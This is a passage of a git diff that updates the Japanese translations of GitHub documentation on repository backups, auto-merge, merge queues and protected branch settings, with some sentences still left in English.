+- [コメント](/rest/reference/issues#list-issue-comments-for-a-repository)
+- [マイルストーン](/rest/reference/issues#list-milestones)
+- [ラベル](/rest/reference/issues#list-labels-for-a-repository)
+- [Watcher](/rest/reference/activity#list-watchers)
+- [Starを付けたユーザ](/rest/reference/activity#list-stargazers)
+- [プロジェクト](/rest/reference/projects#list-repository-projects)
 {% endif %}
 
 Once you have {% ifversion ghes or ghae %}a local version of all the content you want to back up, you can create a zip archive and {% else %}downloaded your archive, you can {% endif %}copy it to an external hard drive and/or upload it to a cloud-based backup or storage service such as [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/), [Google Drive](https://www.google.com/drive/) or [Dropbox](https://www.dropbox.com/).
 
 {% ifversion fpt or ghec %}
-## Third-party backup tools
+## サードパーティのバックアップツール
 
-A number of self-service tools exist that automate backups of repositories. Unlike archival projects, which archive _all_ public repositories on {% data variables.product.product_name %} that have not opted out and make the data accessible to anyone, backup tools will download data from _specific_ repositories and organize it within a new branch or directory. For more information about archival projects, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." For more information about self-service backup tools, see the [Backup Utilities category on {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=backup-utilities).
+リポジトリのバックアップを自動化するセルフサービスのツールはたくさんあります。 オプトアウトしておらず、誰でもデータにアクセスできるようにする {% data variables.product.product_name %} 上の_すべての_パブリックリポジトリをアーカイブするアーカイブプロジェクトとは異なり、バックアップツールは_特定の_リポジトリからデータをダウンロードし、新しいブランチまたはディレクトリ内に整理します。 アーカイブプロジェクトの詳細については、「[{% data variables.product.prodname_dotcom %} のコンテンツとデータのアーカイブについて](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)」を参照してください。 自動バックアップツールに関する詳しい情報については、[{% data variables.product.prodname_marketplace %} のバックアップユーティリティのカテゴリ](https://github.com/marketplace?category=backup-utilities)を参照してください。
 {% endif %}
diff --git a/translations/ja-JP/content/repositories/archiving-a-github-repository/index.md b/translations/ja-JP/content/repositories/archiving-a-github-repository/index.md
index 753b40a4bf..c079822d31 100644
--- a/translations/ja-JP/content/repositories/archiving-a-github-repository/index.md
+++ b/translations/ja-JP/content/repositories/archiving-a-github-repository/index.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving a GitHub repository
-intro: 'You can archive, back up, and cite your work using {% data variables.product.product_name %}, the API, or third-party tools and services.'
+title: GitHub リポジトリのアーカイブ
+intro: '{% data variables.product.product_name %}、API、あるいはサードパーティのツールやサービスを使って作業をアーカイブ、バックアップ、引用できます。'
 redirect_from:
   - /articles/can-i-archive-a-repository
   - /articles/archiving-a-github-repository
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
index 1b863c2771..5ce2614d15 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing auto-merge for pull requests in your repository
-intro: You can allow or disallow auto-merge for pull requests in your repository.
+title: リポジトリ内のプルリクエストの自動マージを管理する
+intro: リポジトリ内のプルリクエストの自動マージを許可または禁止できます。
 product: '{% data reusables.gated-features.auto-merge %}'
 versions:
   fpt: '*'
@@ -15,15 +15,15 @@ redirect_from:
   - /github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository
 shortTitle: Manage auto merge
 ---
-## About auto-merge
 
-If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. {% endif %}For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
+## 自動マージについて
 
-## Managing auto-merge
+リポジトリ内でプルリクエストの自動マージを許可すると、書き込み権限を持つユーザは、マージの要件がすべて満たされた際に、リポジトリ内の個々のプルリクエストを、自動的にマージするよう設定できます。 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. {% endif %}詳しい情報については、「[プルリクエストを自動的にマージする](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)」を参照してください。
+
+## 自動マージを管理する
 
 {% data reusables.pull_requests.auto-merge-requires-branch-protection %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-1. Under "Merge button", select or deselect **Allow auto-merge**.
-  ![Checkbox to allow or disallow auto-merge](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png)
+1. [Merge button] の下にある [**Allow auto-merge**] を選択または選択解除します。 ![自動マージを許可または禁止するチェックボックス](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png)
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
index 6f1a34c11c..315b1d3d70 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
@@ -17,7 +17,7 @@ shortTitle: Use merge queue
 
 {% data reusables.pull_requests.merge-queue-overview %}
 
-The merge queue creates temporary preparatory branches to validate pull requests against the latest version of the base branch. To ensure that {% data variables.product.prodname_dotcom %} validates these preparatory branches, you may need to update your CI configuration to trigger builds on branch names starting with `gh/readonly/queue/{base_branch}`. 
+The merge queue creates temporary preparatory branches to validate pull requests against the latest version of the base branch. To ensure that {% data variables.product.prodname_dotcom %} validates these preparatory branches, you may need to update your CI configuration to trigger builds on branch names starting with `gh/readonly/queue/{base_branch}`.
 
 For example, with {% data variables.product.prodname_actions %}, adding the following trigger to a workflow will cause the workflow to run when any push is made to a merge queue preparatory branch that targets `main`.
 
@@ -32,7 +32,7 @@ on:
 
 For information about merge methods, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." For information about the "Require linear history" branch protection setting, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-linear-history)."
 
-{% note %} 
+{% note %}
 
 **Note:** During the beta, there are some limitations when using the merge queue:
 
@@ -48,7 +48,7 @@ Repository administrators can configure merge queues for pull requests targeting
 
 For information about how to enable the merge queue protection setting, see "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule)."
 
-## Further reading
+## 参考リンク
 
 - "[Adding a pull request to the merge queue](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue)"
-- "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)"
+- [保護されたブランチについて](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
index 08f567b7b3..6339d4af2c 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
@@ -1,6 +1,6 @@
 ---
-title: About protected branches
-intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.'
+title: 保護されたブランチについて
+intro: 重要なブランチを保護するには、ブランチ保護ルールを設定します。このルールは、コラボレータがブランチへのプッシュを削除または強制できるかどうかを定義し、ステータスチェックのパスや直線状のコミット履歴など、ブランチへのプッシュの要件を設定します。
 product: '{% data reusables.gated-features.protected-branches %}'
 redirect_from:
   - /articles/about-protected-branches
@@ -25,79 +25,80 @@ versions:
 topics:
   - Repositories
 ---
-## About branch protection rules
 
-You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule.
+## ブランチ保護ルールについて
 
-By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings.
+ブランチ保護ルールを作成することにより、コラボレータがリポジトリ内のブランチに変更をプッシュする前に、特定のワークフローまたは要件を適用できます。これには、プルリクエストのブランチへのマージが含まれます。
 
-By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository. You can optionally choose to include administrators, too.
+デフォルト設定では、各ブランチ保護ルールは、一致するブランチへのフォースプッシュを無効にし、一致するブランチが削除されないようにします。 必要に応じて、これらの制限を無効にし、追加のブランチ保護設定を有効にすることができます。
 
-{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
+デフォルト設定では、ブランチ保護ルールの制限は、リポジトリへの管理者権限を持つユーザには適用されません。 必要に応じて、管理者を含めることもできます。
+
+{% data reusables.repositories.branch-rules-example %} ブランチ名のパターンの詳細については、「[ブランチ保護ルールを管理する](/github/administering-a-repository/managing-a-branch-protection-rule)」を参照してください。
 
 {% data reusables.pull_requests.you-can-auto-merge %}
 
-## About branch protection settings
+## ブランチ保護設定について
 
-For each branch protection rule, you can choose to enable or disable the following settings.
-- [Require pull request reviews before merging](#require-pull-request-reviews-before-merging)
-- [Require status checks before merging](#require-status-checks-before-merging)
+ブランチ保護ルールごとに、次の設定を有効にするか無効にするかを選択できます。
+- [マージ前に Pull Request レビュー必須](#require-pull-request-reviews-before-merging)
+- [マージ前にステータスチェック必須](#require-status-checks-before-merging)
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 - [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %}
-- [Require signed commits](#require-signed-commits)
-- [Require linear history](#require-linear-history)
+- [署名済みコミットの必須化](#require-signed-commits)
+- [直線状の履歴必須](#require-linear-history)
 {% ifversion fpt or ghec %}
 - [Require merge queue](#require-merge-queue)
 {% endif %}
-- [Include administrators](#include-administrators)
-- [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches)
-- [Allow force pushes](#allow-force-pushes)
-- [Allow deletions](#allow-deletions)
+- [管理者を含める](#include-administrators)
+- [一致するブランチにプッシュできるユーザを制限](#restrict-who-can-push-to-matching-branches)
+- [フォースプッシュを許可](#allow-force-pushes)
+- [削除を許可](#allow-deletions)
 
 For more information on how to set up branch protection, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
 
-### Require pull request reviews before merging
+### マージ前に Pull Request レビュー必須
 
 {% data reusables.pull_requests.required-reviews-for-prs-summary %}
 
-If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions.
+必須レビューを有効にした場合、コラボレータは、書き込み権限を持つ必要な人数のレビュー担当者により承認されたプルリクエストからしか、保護されたブランチに変更をプッシュできなくなります。
 
-If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review.
+管理者権限を持つ人がレビューで [**Request changes**] を選択した場合、プルリクエストをマージするためには管理者権限を持つ人がそのプルリクエストを承認する必要があります。 プルリクエストへの変更をリクエストしたレビュー担当者の手が空いていない場合、そのリポジトリに書き込み権限を持つ人が、ブロックしているレビューを却下できます。
 
 {% data reusables.repositories.review-policy-overlapping-commits %}
 
-If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message.
+コラボレータが保留中または拒否されたレビューのプルリクエストを保護されたブランチにマージしようとすると、コラボレータにエラーメッセージが届きます。
 
 ```shell
 remote: error: GH006: Protected branch update failed for refs/heads/main.
 remote: error: Changes have been requested.
 ```
 
-Optionally, you can choose to dismiss stale pull request approvals when commits are pushed. If anyone pushes a commit that modifies code to an approved pull request, the approval will be dismissed, and the pull request cannot be merged. This doesn't apply if the collaborator pushes commits that don't modify code, like merging the base branch into the pull request's branch. For information about the base branch, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+必要に応じて、コミットがプッシュされた際に古いプルリクエストを却下できます。 コードを承認されたプルリクエストに変更するコミットがプッシュされた場合、その承認は却下され、プルリクエストはマージできません。 これは、ベースブランチをプルリクエストのブランチにマージするなど、コードを変更しないコミットをコラボレータがプッシュする場合には適用されません。 ベースブランチに関する詳しい情報については「[プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)」を参照してください。
 
-Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+必要に応じて、プルリクエストレビューを却下する権限を、特定の人物またはチームに限定できます。 詳しい情報については[プルリクエストレビューの却下](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)を参照してください。
 
-Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch.
+必要に応じて、コードオーナー'からのレビューを必須にすることもできます。 この場合、コードオーナーのコードに影響するプルリクエストは、保護されたブランチにプルリクエストをマージする前に、そのコードオーナーから承認される必要があります。
 
-### Require status checks before merging
+### マージ前にステータスチェック必須
 
-Required status checks ensure that all required CI tests are passing before collaborators can make changes to a protected branch. Required status checks can be checks or statuses. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)."
+必須ステータスチェックにより、コラボレータが保護されたブランチに変更を加える前に、すべての必須 CI テストにパスしていることが保証されます。 詳細は「[保護されたブランチを設定する](/articles/configuring-protected-branches/)」および「[必須ステータスチェックを有効にする](/articles/enabling-required-status-checks)」を参照してください。 詳しい情報については、「[ステータスチェックについて](/github/collaborating-with-issues-and-pull-requests/about-status-checks)」を参照してください。
 
-Before you can enable required status checks, you must configure the repository to use the status API. For more information, see "[Repositories](/rest/reference/repos#statuses)" in the REST documentation.
+ステータスチェック必須を有効にする前に、ステータス API を使用するようにリポジトリを設定する必要があります。 詳しい情報については、REST ドキュメントの「[リポジトリ](/rest/reference/repos#statuses)」を参照してください。
 
-After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch.
+ステータスチェック必須を有効にすると、すべてのステータスチェック必須がパスしないと、コラボレータは保護されたブランチにマージできません。 必須ステータスチェックをパスしたら、コミットを別のブランチにプッシュしてから、マージするか、保護されたブランチに直接プッシュする必要があります。
 
 Any person or integration with write permissions to a repository can set the state of any status check in the repository{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates.{% endif %} If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box.
 
-You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging.
+必須ステータスチェックのタイプは、\[loose\] (寛容)、\[strict\] (厳格) のいずれかに設定できます。 選択した必須ステータスチェックのタイプにより、マージする前にブランチをベースブランチとともに最新にする必要があるかどうかが決まります。
 
-| Type of required status check | Setting | Merge requirements | Considerations |
-| --- | --- | --- | --- |
-| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators merge pull requests to the protected base branch.|
-| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. |
-| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes.
+| 必須ステータスチェックのタイプ | 設定                                                                          | マージの要件                                    | 留意点                                                                                                                               |
+| --------------- | --------------------------------------------------------------------------- | ----------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
+| **Strict**      | [**Require branches to be up to date before merging**] チェックボックスにチェックする      | マージ前、ブランチは、base ブランチとの関係で**最新でなければならない**。 | これは、必須ステータスチェックのデフォルト動作です。 他のコラボレーターが、保護された base ブランチにプルリクエストをマージした後に、あなたは head ブランチをアップデートする必要が出てくる可能性があるため、追加のビルドが必要になるかもしれません。 |
+| **Loose**       | [**Require branches to be up to date before merging**] チェックボックスにチェック**しない** | マージ前、ブランチは base ブランチとの関係で**最新でなくてもよい**。   | 他のコラボレーターがプルリクエストをマージした後に head ブランチをアップデートする必要はないことから、必要となるビルドは少なくなります。 base ブランチと競合する変更がある場合、ブランチをマージした後のステータスチェックは失敗する可能性があります。 |
+| **無効**          | [**Require status checks to pass before merging**] チェックボックスにチェック**しない**     | ブランチのマージについての制限はない                        | 必須ステータスチェックが有効化されていない場合、base ブランチにあわせてアップデートされているかどうかに関わらず、コラボレーターはいつでもブランチをマージできます。 このことで、変更の競合が発生する可能性が高まります。                   |
 
-For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)."
+トラブルシューティング情報については、「[必須ステータスチェックのトラブルシューティング](/github/administering-a-repository/troubleshooting-required-status-checks)」を参照してください。
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 ### Require conversation resolution before merging
@@ -105,62 +106,62 @@ For troubleshooting information, see "[Troubleshooting required status checks](/
 Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge.
 {% endif %}
 
-### Require signed commits
+### 署名済みコミットの必須化
 
-When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)."
+ブランチで必須のコミット署名を有効にすると、コントリビュータ{% ifversion fpt or ghec %}とボット{% endif %}は、ブランチに署名および検証されたコミットのみをプッシュできます。 詳細については、「[コミット署名の検証について](/articles/about-commit-signature-verification)」を参照してください。
 
 {% note %}
 
 {% ifversion fpt or ghec %}
-**Notes:** 
+**ノート:**
 
 * If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)."
 * If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
 
 {% else %}
-**Note:** If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
+**注釈:** コラボレータが未署名のコミットをコミット署名必須のブランチにプッシュすると、コラボレータは検証済み署名を含めるためにコミットをリベースしてから、書き直したコミットをブランチにフォースプッシュする必要があります。
 {% endif %}
 
 {% endnote %}
 
-You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request on {% data variables.product.product_name %}. However, you cannot squash and merge a pull request into the branch on {% data variables.product.product_name %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.product_name %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see "[Checking out pull requests locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)."
+コミットが署名および検証されている場合は、いつでもローカルコミットをブランチにプッシュできます。 {% ifversion fpt or ghec %}{% data variables.product.product_name %}のプルリクエストを使用して、署名および検証されているコミットをブランチにマージすることもできます。 ただし、プルリクエストの作者でない限り、プルリクエストを squash して{% data variables.product.product_name %}のブランチにマージすることはできません。{% else %}ただし、プルリクエストを{% data variables.product.product_name %}のブランチにマージすることはできません。{% endif %}プルリクエストをローカルで{% ifversion fpt or ghec %} squash および{% endif %}マージできます。 詳しい情報については、「[プルリクエストをローカルでチェック アウトする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)」を参照してください。
 
-{% ifversion fpt or ghec %} For more information about merge methods, see "[About merge methods on {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github)."{% endif %}
+{% ifversion fpt or ghec %}マージ方法の詳しい情報については、「[{% data variables.product.prodname_dotcom %}上のマージ方法について](/github/administering-a-repository/about-merge-methods-on-github)」を参照してください。{% endif %}
 
-### Require linear history
+### 直線状の履歴必須
 
-Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams reverse changes more easily. For more information about merge methods, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)."
+直線状のコミット履歴を強制すると、コラボレータがブランチにマージコミットをプッシュすることを防げます。 つまり、保護されたブランチにマージされたプルリクエストは、squash マージまたはリベースマージを使用する必要があります。 厳格な直線状のコミット履歴は、Teamが変更をより簡単にたどるために役立ちます。 マージ方法に関する詳しい情報については「[プルリクエストマージについて](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)」を参照してください。
 
-Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see "[Configuring pull request merges](/github/administering-a-repository/configuring-pull-request-merges)."
+直線状のコミット履歴をリクエストする前に、リポジトリで squash マージまたはリベースマージを許可する必要があります。 詳しい情報については、「[プルリクエストマージを設定する](/github/administering-a-repository/configuring-pull-request-merges)」を参照してください。
 
 {% ifversion fpt or ghec %}
 ### Require merge queue
 
 {% data reusables.pull_requests.merge-queue-beta %}
 {% data reusables.pull_requests.merge-queue-overview %}
- 
+
 {% data reusables.pull_requests.merge-queue-merging-method %}
 {% data reusables.pull_requests.merge-queue-references %}
 
 {% endif %}
-### Include administrators
+### 管理者を含める
 
-By default, protected branch rules do not apply to people with admin permissions to a repository. You can enable this setting to include administrators in your protected branch rules.
+デフォルトでは、保護されたブランチのルールは、リポジトリの管理者権限を持つユーザには適用されません。 この設定を有効化すると、保護されたブランチのルールを管理者にも適用できます。
 
-### Restrict who can push to matching branches
+### 一致するブランチにプッシュできるユーザを制限
 
 {% ifversion fpt or ghec %}
 You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}.
 {% endif %}
 
-When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging if the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required.
+ブランチ制限を有効にすると、権限を与えられたユーザ、チーム、またはアプリのみが保護されたブランチにプッシュできます。 保護されたブランチの設定で、保護されたブランチへのプッシュアクセスを使用して、ユーザ、チーム、またはアプリを表示および編集できます。 When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging if the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required.
 
-You can only give push access to a protected branch to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch.
+ユーザ、チーム、またはリポジトリへの write 権限を持つインストール済みの {% data variables.product.prodname_github_apps %} にのみ、保護されたブランチへのプッシュアクセス付与できます。 リポジトリへの管理者権限を持つユーザとアプリケーションは、いつでも保護されたブランチにプッシュできます。
 
-### Allow force pushes
+### フォースプッシュを許可
 
 {% ifversion fpt or ghec %}
-By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, you can choose one of two groups who can force push:
+デフォルトでは、{% data variables.product.product_name %}はすべての保護されたブランチでフォースプッシュをブロックします。 When you enable force pushes to a protected branch, you can choose one of two groups who can force push:
 
 1. Allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
 1. Allow only specific people or teams to force push to the branch.
@@ -168,15 +169,15 @@ By default, {% data variables.product.product_name %} blocks force pushes on all
 If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
 
 {% else %}
-By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+デフォルトでは、{% data variables.product.product_name %}はすべての保護されたブランチでフォースプッシュをブロックします。 保護されたブランチのフォースプッシュを有効にすると、少なくともリポジトリへの書き込み権限を持つユーザは、管理者権限を持つブランチを含め、ブランチをフォースプッシュできます。 If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
 {% endif %}
 
-Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch.
+フォースプッシュを有効化しても、他のブランチ保護ルールは上書きされません。 たとえば、ブランチに直線状のコミット履歴が必要な場合、そのブランチにマージコミットをフォースプッシュすることはできません。
 
-{% ifversion ghes or ghae %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see "[Blocking force pushes to repositories owned by a user account or organization](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)."
+{% ifversion ghes or ghae %}サイト管理者がリポジトリ内のすべてのブランチへのフォースプッシュをブロックしている場合、保護されたブランチのフォースプッシュを有効にすることはできません。 詳しい情報については、「[ユーザアカウントもしくはOrganizationが所有するリポジトリへのフォースプッシュのブロック](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)」を参照してください。
 
-If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %}
+サイト管理者がデフォルトブランチへのフォースプッシュのみをブロックしている場合、他の保護されたブランチに対してフォースプッシュを有効にできます。{% endif %}
 
-### Allow deletions
+### 削除を許可
 
-By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch.
+デフォルトでは、保護されたブランチは削除できません。 保護されたブランチの削除を有効にすると、少なくともリポジトリへの書き込み権限を持つユーザは、ブランチを削除できます。
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
index fbef6893f4..ee928fabaf 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Defining the mergeability of pull requests
-intro: 'You can require pull requests to pass a set of checks before they can be merged. For example, you can block pull requests that don''t pass status checks or require that pull requests have a specific number of approving reviews before they can be merged.'
+title: プルリクエストのマージ可能性を定義
+intro: プルリクエストをマージ可能にするための条件として、一連のチェックに合格することを必須とすることができます。 たとえば、ステータスチェックに合格しないプルリクエストをブロックすることができます。あるいは、プルリクエストを承認するレビューが一定数に達していなければマージできないようにすることができます。
 redirect_from:
   - /articles/defining-the-mergeability-of-a-pull-request
   - /articles/defining-the-mergeability-of-pull-requests
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
index e8587b7306..fd0f17d9c3 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
@@ -1,6 +1,6 @@
 ---
-title: Managing a branch protection rule
-intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.'
+title: ブランチ保護ルールを管理する
